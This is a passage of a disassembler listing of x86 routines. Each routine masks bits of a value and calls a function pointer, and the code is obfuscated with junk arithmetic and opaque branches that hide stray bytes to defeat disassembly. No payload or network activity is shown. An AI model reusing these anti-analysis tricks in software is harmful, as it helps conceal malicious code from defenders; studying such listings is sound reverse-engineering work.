[ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_499799: ; CODE XREF: sub_499701+8Dj mov eax, [ebp+var_8] push eax call off_4F1D14 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_499701 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4997AD proc near ; DATA XREF: sub_4965D8+1103o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 86h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl pop ebx pop edx test eax, eax jnz loc_499907 mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_499891 jl short loc_49988F loc_49988A: ; CODE XREF: sub_4997AD:loc_49988Fj ; sub_4997AD:loc_499891j jmp short loc_499893 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49988F: ; CODE XREF: sub_4997AD+DBj jz short loc_49988A loc_499891: ; CODE XREF: sub_4997AD+D9j jmp short loc_49988A ; --------------------------------------------------------------------------- loc_499893: ; CODE XREF: sub_4997AD:loc_49988Aj sub bl, 5 dec bl push eax dec bl dec bl jo short loc_4998A6 jl short loc_4998A4 loc_4998A1: ; CODE XREF: sub_4997AD:loc_4998A4j ; sub_4997AD:loc_4998A6j jmp short loc_4998A8 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4998A4: ; CODE XREF: sub_4997AD+F2j jz short loc_4998A1 loc_4998A6: ; CODE XREF: sub_4997AD+F0j jmp short loc_4998A1 ; --------------------------------------------------------------------------- loc_4998A8: ; CODE XREF: sub_4997AD:loc_4998A1j and eax, 40h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1200h dec dh sub dh, 1 dec dh sub dh, 7 and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax dec eax jo short loc_4998DC jl short loc_4998DA loc_4998D5: ; CODE XREF: sub_4997AD:loc_4998DAj ; sub_4997AD:loc_4998DCj jmp short loc_4998DE ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4998DA: ; CODE XREF: sub_4997AD+126j jz short loc_4998D5 loc_4998DC: ; CODE XREF: sub_4997AD+124j jmp short loc_4998D5 ; --------------------------------------------------------------------------- loc_4998DE: ; CODE XREF: sub_4997AD:loc_4998D5j inc eax dec eax jo short loc_4998EB jl short loc_4998E9 loc_4998E4: ; CODE XREF: sub_4997AD:loc_4998E9j ; sub_4997AD:loc_4998EBj jmp short loc_4998ED ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4998E9: ; CODE XREF: sub_4997AD+135j jz short loc_4998E4 loc_4998EB: ; CODE XREF: sub_4997AD+133j jmp short loc_4998E4 ; --------------------------------------------------------------------------- loc_4998ED: ; CODE XREF: sub_4997AD:loc_4998E4j inc eax dec eax inc eax dec eax jo short loc_4998FA jl short loc_4998F8 loc_4998F5: ; CODE XREF: sub_4997AD:loc_4998F8j ; sub_4997AD:loc_4998FAj jmp short loc_4998FC ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4998F8: ; CODE XREF: sub_4997AD+146j jz short loc_4998F5 loc_4998FA: ; CODE XREF: sub_4997AD+144j jmp short loc_4998F5 ; --------------------------------------------------------------------------- loc_4998FC: ; CODE XREF: sub_4997AD:loc_4998F5j inc eax pop ecx cmp ecx, eax jnz short loc_499907 and eax, 0 jmp short loc_49990B ; --------------------------------------------------------------------------- loc_499907: ; CODE XREF: sub_4997AD+6Dj ; sub_4997AD+153j and eax, 0 inc eax loc_49990B: ; CODE XREF: sub_4997AD+158j mov [ebp+var_C], eax mov ecx, dword_4ED418 xor ecx, dword_4ED41C shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49992E mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49992E: ; CODE XREF: sub_4997AD+176j mov eax, [ebp+var_8] push eax call off_4F1D70 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4997AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_499942 proc near ; DATA XREF: sub_4965D8+10A8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DAC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 0Ch not ecx bswap eax not ecx inc ecx inc ecx inc ecx and eax, 0 inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl and ecx, 40h inc cl inc cl inc cl inc cl inc cl inc cl inc cl inc eax inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx pop ecx mov [ebp+var_C], eax mov ecx, dword_4ED3DC xor ecx, dword_4ED3E0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4999D1 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4999D1: ; CODE XREF: sub_499942+84j mov eax, [ebp+var_8] push eax call off_4F1D34 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_499942 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4999E5 proc near ; DATA XREF: sub_4965D8+470o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 0BDh sub cl, 2 dec cl dec cl dec cl dec cl dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl dec cl sub cl, 3 dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 80h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax inc cl inc cl inc cl and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx push eax mov eax, [ebp+var_4] mov edx, 0C00h sub dh, 1 dec dh dec dh dec dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx jo short loc_499AB6 jl short loc_499AB4 loc_499AB1: ; CODE XREF: sub_4999E5:loc_499AB4j ; sub_4999E5:loc_499AB6j jmp short loc_499AB8 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_499AB4: ; CODE XREF: sub_4999E5+CAj jz short loc_499AB1 loc_499AB6: ; CODE XREF: sub_4999E5+C8j jmp short loc_499AB1 ; --------------------------------------------------------------------------- loc_499AB8: ; CODE XREF: sub_4999E5:loc_499AB1j setnz cl mov al, cl mov [ebp+var_C], eax mov ecx, dword_4ED408 xor ecx, dword_4ED40C shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_499AE0 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_499AE0: ; CODE XREF: sub_4999E5+F0j mov eax, [ebp+var_8] push eax call off_4F1D60 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4999E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_499AF4 proc near ; DATA XREF: sub_4965D8+7CDo var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] inc ebx inc ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 10h dec ch dec ch sub ch, 11h dec ch sub ch, 4 dec ch sub ch, 3 dec ch mov ebx, [ebp+arg_4] dec esi dec edi xor edx, edx or ebx, edx jz short loc_499B3A dec edi and eax, 0 jmp short loc_499B41 ; --------------------------------------------------------------------------- loc_499B3A: ; CODE XREF: sub_499AF4+3Ej dec edi and eax, 0 dec edi dec edi inc eax loc_499B41: ; CODE XREF: sub_499AF4+44j mov [ebp+var_8], eax mov eax, dword_4ED400 xor eax, dword_4ED404 shl eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 0 jz short loc_499B63 mov ecx, [ebp+var_4] or ecx, 1 mov [ebp+var_4], ecx loc_499B63: ; CODE XREF: sub_499AF4+64j mov edx, [ebp+var_4] push edx call off_4F1D58 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_499AF4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_499B77 proc near ; DATA XREF: sub_4965D8+5F1o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 3 jo short loc_499BA8 jl short loc_499BA6 loc_499BA3: ; CODE XREF: sub_499B77:loc_499BA6j ; sub_499B77:loc_499BA8j jmp short loc_499BAA ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_499BA6: ; CODE XREF: sub_499B77+2Aj jz short loc_499BA3 loc_499BA8: ; CODE XREF: sub_499B77+28j jmp short loc_499BA3 ; --------------------------------------------------------------------------- loc_499BAA: ; CODE XREF: sub_499B77:loc_499BA3j dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 87h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah sub bl, 1Eh not bx bswap eax not bx bswap eax jo short loc_499BEC jl short loc_499BEA loc_499BE7: ; CODE XREF: sub_499B77:loc_499BEAj ; sub_499B77:loc_499BECj jmp short loc_499BEE ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_499BEA: ; CODE XREF: sub_499B77+6Ej jz short loc_499BE7 loc_499BEC: ; CODE XREF: sub_499B77+6Cj jmp short loc_499BE7 ; --------------------------------------------------------------------------- loc_499BEE: ; CODE XREF: sub_499B77:loc_499BE7j and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3F0 xor ecx, dword_4ED3F4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_499C1C mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_499C1C: ; CODE XREF: sub_499B77+9Aj mov eax, [ebp+var_8] push eax call off_4F1D48 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_499B77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_499C30 proc near ; DATA XREF: sub_4965D8+3A4o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DCC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 80h jmp short loc_499C59 ; --------------------------------------------------------------------------- mov ebx, 4 loc_499C59: ; CODE XREF: sub_499C30+22j mov ebx, 27h xor ebx, 15h not ebx bswap eax not ebx inc ebx inc ebx sub ebx, 0FFFFFFFFh inc ebx inc ebx inc ebx sub ebx, 0FFFFFFFFh inc ebx inc ebx sub ebx, 0FFFFFFFFh add ebx, 0FFFFFFFFh push ecx mov ecx, 3 inc ecx add ebx, ecx inc ebx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3FC xor ecx, dword_4ED400 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_499CB3 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_499CB3: ; CODE XREF: sub_499C30+78j mov eax, [ebp+var_8] push eax call off_4F1D54 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_499C30 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_499CC7 proc near ; DATA XREF: sub_4965D8+129o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0Ah pop ebx dec bl dec bl dec bl add bl, 0FFh add bl, 0FFh dec bl jo short loc_499D06 jl short loc_499D04 loc_499D01: ; CODE XREF: sub_499CC7:loc_499D04j ; sub_499CC7:loc_499D06j jmp short loc_499D08 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_499D04: ; CODE XREF: sub_499CC7+38j jz short loc_499D01 loc_499D06: ; CODE XREF: sub_499CC7+36j jmp short loc_499D01 ; --------------------------------------------------------------------------- loc_499D08: ; CODE XREF: sub_499CC7:loc_499D01j add bl, 0FFh add bl, 0FFh add bl, 0FFh add bl, 0FFh and al, bl jo short loc_499D1F jl short loc_499D1D loc_499D1A: ; CODE XREF: sub_499CC7:loc_499D1Dj ; sub_499CC7:loc_499D1Fj jmp short loc_499D21 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_499D1D: ; CODE XREF: sub_499CC7+51j jz short loc_499D1A loc_499D1F: ; CODE XREF: sub_499CC7+4Fj jmp short loc_499D1A ; --------------------------------------------------------------------------- loc_499D21: ; CODE XREF: sub_499CC7:loc_499D1Aj mov dh, 15h and dl, 0 dec dh sub dh, 6 dec dh dec dh dec dh sub dh, 1 dec dh dec dh and ah, dh pop ebx pop edx test eax, eax jz short loc_499D48 not eax add eax, 1 stc jmp short loc_499D4E ; --------------------------------------------------------------------------- loc_499D48: ; CODE XREF: sub_499CC7+77j not eax add eax, 1 clc loc_499D4E: ; CODE XREF: sub_499CC7+7Fj sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED3F4 xor ecx, dword_4ED3F8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_499D75 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_499D75: ; CODE XREF: sub_499CC7+A3j mov eax, [ebp+var_8] push eax call off_4F1D4C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_499CC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_499D89 proc near ; DATA XREF: sub_4965D8+F54o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DAC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx sub bl, 5 dec bl push eax dec bl dec bl and eax, 80h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1400h dec dh sub dh, 3 dec dh sub dh, 6 dec dh jo short loc_499DE9 jl short loc_499DE7 loc_499DE2: ; CODE XREF: sub_499D89:loc_499DE7j ; sub_499D89:loc_499DE9j jmp short loc_499DEB ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_499DE7: ; CODE XREF: sub_499D89+57j jz short loc_499DE2 loc_499DE9: ; CODE XREF: sub_499D89+55j jmp short loc_499DE2 ; --------------------------------------------------------------------------- loc_499DEB: ; CODE XREF: sub_499D89:loc_499DE2j and ah, dh pop ebx pop edx neg eax sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED3DC xor ecx, dword_4ED3E0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_499E18 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_499E18: ; CODE XREF: sub_499D89+84j mov eax, [ebp+var_8] push eax call off_4F1D34 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_499D89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_499E2C proc near ; DATA XREF: sub_4965D8+E44o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 87h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3E0 xor ecx, dword_4ED3E4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_499EC4 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_499EC4: ; CODE XREF: sub_499E2C+8Dj mov eax, [ebp+var_8] push eax call off_4F1D38 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_499E2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_499ED8 proc near ; DATA XREF: sub_4965D8+8C7o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 0AFh sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx push eax mov eax, [ebp+var_4] mov edx, 300h inc dh inc dh dec dh inc dh inc dh inc dh inc dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx setz cl mov al, cl mov [ebp+var_C], eax mov ecx, dword_4ED3D0 xor ecx, dword_4ED3D4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_499FC0 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_499FC0: ; CODE XREF: sub_499ED8+DDj mov eax, [ebp+var_8] push eax call off_4F1D28 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_499ED8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_499FD4 proc near ; DATA XREF: sub_4965D8+360o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov dh, 2 sub dh, 0FFh dec dh sub dh, 0FFh dec dh sub dh, 0FFh sub dh, 1 sub dh, 1 dec dh and ah, dh mov edx, 800h mov dl, 0Fh sub dl, 0FFh sub dl, 0FFh sub dl, 0FFh sub dl, 0Ah sub dl, 0FFh sub dl, 0FFh sub dl, 5 dec dl dec dl dec dl sub dl, 3 sub dl, 0FFh dec dl inc dl inc dl and al, dl not ah not ah pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED404 xor ecx, dword_4ED408 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49A067 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49A067: ; CODE XREF: sub_499FD4+88j mov eax, [ebp+var_8] push eax call off_4F1D5C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_499FD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49A07B proc near ; DATA XREF: sub_4965D8+2D8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 80h jmp short loc_49A0A4 ; --------------------------------------------------------------------------- mov ebx, 40h loc_49A0A4: ; CODE XREF: sub_49A07B+22j mov ebx, 71h not ebx bswap eax not ebx inc ebx inc ebx inc ebx add ebx, 7 push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3E0 xor ecx, dword_4ED3E4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49A0EE mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49A0EE: ; CODE XREF: sub_49A07B+68j mov eax, [ebp+var_8] push eax call off_4F1D38 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49A07B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49A102 proc near ; DATA XREF: sub_4965D8+11A1o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 4 dec bh dec bh dec bh dec bh and eax, 80h bswap ecx pop eax bswap ecx and ah, bh mov bl, 86h sub bl, 5 dec bl dec bl dec bl jo short loc_49A154 jl short loc_49A152 loc_49A14D: ; CODE XREF: sub_49A102:loc_49A152j ; sub_49A102:loc_49A154j jmp short loc_49A156 ; --------------------------------------------------------------------------- icebp adc ah, [esi] loc_49A152: ; CODE XREF: sub_49A102+49j jz short loc_49A14D loc_49A154: ; CODE XREF: sub_49A102+47j jmp short loc_49A14D ; --------------------------------------------------------------------------- loc_49A156: ; CODE XREF: sub_49A102:loc_49A14Dj dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl pop ebx pop edx test eax, eax jnz loc_49A227 mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 1 dec bh and eax, 41h bswap ecx pop eax bswap ecx and ah, bh mov bl, 93h sub bl, 0Bh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_49A1CE jl short loc_49A1CC loc_49A1C7: ; CODE XREF: sub_49A102:loc_49A1CCj ; sub_49A102:loc_49A1CEj jmp short loc_49A1D0 ; --------------------------------------------------------------------------- db 0F2h, 12h, 26h ; --------------------------------------------------------------------------- loc_49A1CC: ; CODE XREF: sub_49A102+C3j jz short loc_49A1C7 loc_49A1CE: ; CODE XREF: sub_49A102+C1j jmp short loc_49A1C7 ; --------------------------------------------------------------------------- loc_49A1D0: ; CODE XREF: sub_49A102:loc_49A1C7j sub bl, 6 push eax and eax, 40h dec bl sub bl, 14h sub bl, 3 pop eax dec bl and al, bl mov edx, 1200h dec dh sub dh, 1 dec dh sub dh, 7 and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax dec eax jo short loc_49A208 jl short loc_49A206 loc_49A201: ; CODE XREF: sub_49A102:loc_49A206j ; sub_49A102:loc_49A208j jmp short loc_49A20A ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49A206: ; CODE XREF: sub_49A102+FDj jz short loc_49A201 loc_49A208: ; CODE XREF: sub_49A102+FBj jmp short loc_49A201 ; --------------------------------------------------------------------------- loc_49A20A: ; CODE XREF: sub_49A102:loc_49A201j inc eax dec eax inc eax dec eax inc eax dec eax jo short loc_49A219 jl short loc_49A217 loc_49A214: ; CODE XREF: sub_49A102:loc_49A217j ; sub_49A102:loc_49A219j jmp short loc_49A21B ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49A217: ; CODE XREF: sub_49A102+110j jz short loc_49A214 loc_49A219: ; CODE XREF: sub_49A102+10Ej jmp short loc_49A214 ; --------------------------------------------------------------------------- loc_49A21B: ; CODE XREF: sub_49A102:loc_49A214j inc eax pop ecx cmp ecx, eax jnz short loc_49A227 and eax, 0 inc eax jmp short loc_49A22A ; --------------------------------------------------------------------------- loc_49A227: ; CODE XREF: sub_49A102+74j ; sub_49A102+11Dj and eax, 0 loc_49A22A: ; CODE XREF: sub_49A102+123j mov [ebp+var_C], eax mov ecx, dword_4ED410 xor ecx, dword_4ED414 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49A24D mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49A24D: ; CODE XREF: sub_49A102+140j mov eax, [ebp+var_8] push eax call off_4F1D68 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49A102 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49A261 proc near ; DATA XREF: sub_4965D8+635o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0Dh pop ebx jo short loc_49A294 jl short loc_49A292 loc_49A28D: ; CODE XREF: sub_49A261:loc_49A292j ; sub_49A261:loc_49A294j jmp short loc_49A296 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49A292: ; CODE XREF: sub_49A261+2Aj jz short loc_49A28D loc_49A294: ; CODE XREF: sub_49A261+28j jmp short loc_49A28D ; --------------------------------------------------------------------------- loc_49A296: ; CODE XREF: sub_49A261:loc_49A28Dj sub bl, 5 dec bl push eax dec bl dec bl and eax, 41h dec bl sub bl, 3 pop eax dec bl and al, bl mov edx, 2500h dec dh sub dh, 3 dec dh sub dh, 17h dec dh and ah, dh pop ebx pop edx neg eax sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED408 xor ecx, dword_4ED40C shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49A2EB mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49A2EB: ; CODE XREF: sub_49A261+7Fj mov eax, [ebp+var_8] push eax call off_4F1D60 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49A261 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49A2FF proc near ; DATA XREF: sub_4965D8+115Do var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, [ebp+arg_0] jo short loc_49A314 jl short loc_49A312 loc_49A30F: ; CODE XREF: sub_49A2FF:loc_49A312j ; sub_49A2FF:loc_49A314j jmp short loc_49A316 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_49A312: ; CODE XREF: sub_49A2FF+Ej 